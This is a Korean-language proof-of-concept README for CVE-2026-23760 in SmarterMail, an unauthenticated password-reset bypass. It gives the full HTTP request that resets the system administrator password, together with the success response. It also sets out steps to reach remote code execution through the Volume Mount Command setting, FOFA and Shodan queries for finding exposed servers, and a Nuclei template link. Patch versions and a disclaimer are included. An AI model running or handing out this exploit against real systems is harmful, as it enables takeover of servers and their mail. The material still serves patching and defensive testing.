SmarterMail-CVE-2026-23760-poc

SmarterMail 시스템 관리자 계정의 비밀번호 재설정 API를 통한 인증 우회를 악용하는 개념 증명(PoC)입니다.

취약점

이 취약점은 비밀번호 재설정 API의 인증 우회 취약점으로 인해 발생합니다. force-reset-password 엔드포인트는 익명 요청을 허용하며, 시스템 관리자 계정을 재설정할 때 기존 비밀번호나 재설정 토큰을 검증하지 않습니다.

시스템 관리자 계정 탈취.
SmarterMail 내장 기능을 통한 원격 코드 실행(RCE)로의 직접적인 경로.

영향을 받는 버전

빌드 9511 이전의 SmarterTools SmarterMail 버전

PoC (watchtowr labs 제공)

PoC는 다음과 같이 간단합니다:

POST /api/v1/auth/force-reset-password HTTP/1.1
Host: xxxxxxx:9998
Content-Type: application/json
Content-Length: 145

{"IsSysAdmin":"true",
"OldPassword":"watever",
"Username":"admin",
"NewPassword":"NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"}

비밀번호가 성공적으로 변경되었음을 확인하는 다음 응답을 받게 됩니다:

{
"username":"",
"errorCode":"",
"errorData":"",
"debugInfo":"check1\\r\\ncheck2\\r\\ncheck3\\r\\ncheck4.2\\r\\ncheck5.2\\r\\ncheck6.2\\r\\ncheck7.2\\r\\ncheck8.2\\r\\n",
"success":true,
"resultCode":200
}

남은 유일한 요구 사항은 관리자 계정의 사용자 이름을 아는 것입니다.

ATO에서 RCE 및 그 이상으로

시스템 관리자로 인증에 성공하면 공격자는 다음을 수행할 수 있습니다:

Settings -> Volume Mounts로 이동.
새 볼륨 생성.
Volume Mount Command 필드에 임의의 명령 입력.

해당 명령은 기본 운영 체제에 의해 실행됩니다. 이 시점에서 공격자는 호스트에서 완전한 원격 코드 실행을 달성합니다.

구성이 저장되면 입력한 명령이 즉시 실행됩니다.

자동화

Nuclei 템플릿:

https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-23760.yaml

실제 환경 탐색

FOFA:

title='SmarterMail'

SHODAN:

html:'SmarterMail'

영향

인증되지 않은 원격 공격자는 시스템 관리자 계정의 인증을 우회하여 액세스 권한을 얻을 수 있습니다. 인증에 성공하면 호스트에서 완전한 원격 코드 실행을 수행할 수 있습니다.

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - 9.3:치명적(Critical)

해결 및 완화

최신 버전으로 업데이트: https://www.smartertools.com/smartermail/downloads

빌드 9511 (2026년 1월 15일)
빌드 9518 (2026년 1월 22일)

참고 자료

면책 조항

이 도구는 승인된 보안 테스트 전용입니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다.

smartermail-CVE-2026-23760-poc

인기